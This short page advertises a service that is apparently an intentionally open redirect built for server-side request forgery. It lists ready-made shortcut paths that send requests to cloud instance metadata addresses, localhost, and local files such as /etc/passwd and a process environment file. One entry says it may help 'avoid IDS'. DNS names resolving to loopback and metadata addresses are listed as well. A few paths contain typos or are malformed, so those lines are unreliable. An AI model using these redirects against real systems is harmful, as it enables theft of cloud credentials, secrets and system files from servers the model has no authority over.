301party.com: The Intentionally Open Redirect

301party.com: the intentionally open redirect

• /redirect?url=https://example.com&type=302
• /{301,302,303,307,308}?url=http://example.com
• /metadata: shortcut for /redirect?url=http://169.254.169.254/latest/meta-data/
• /metadata6: shortcut for /redirct?url=http://[fd00:ec2::254]/latest/meta-data/
• /localhost: shortcut for /redirect?url=http://127.0.0.1
• /zeroes: shortcut for /redirct?url=http://0.0.0.0
• /passwd: shortcut for /redirect?url=file:////etc/passwd
• /services: shortcut for /redirct?url=file:///etc/services (avoid IDS maybe...)
• /environ: shortcut for /redirect?url=file:///self/proc/environ

Bonus DNS records!

• localhost.301party.com: 127.0.0.1
• metadata.301party.com: 169.254.169.254
• ipv6.metadata.301party.com: [::169.254.169.254]

DIY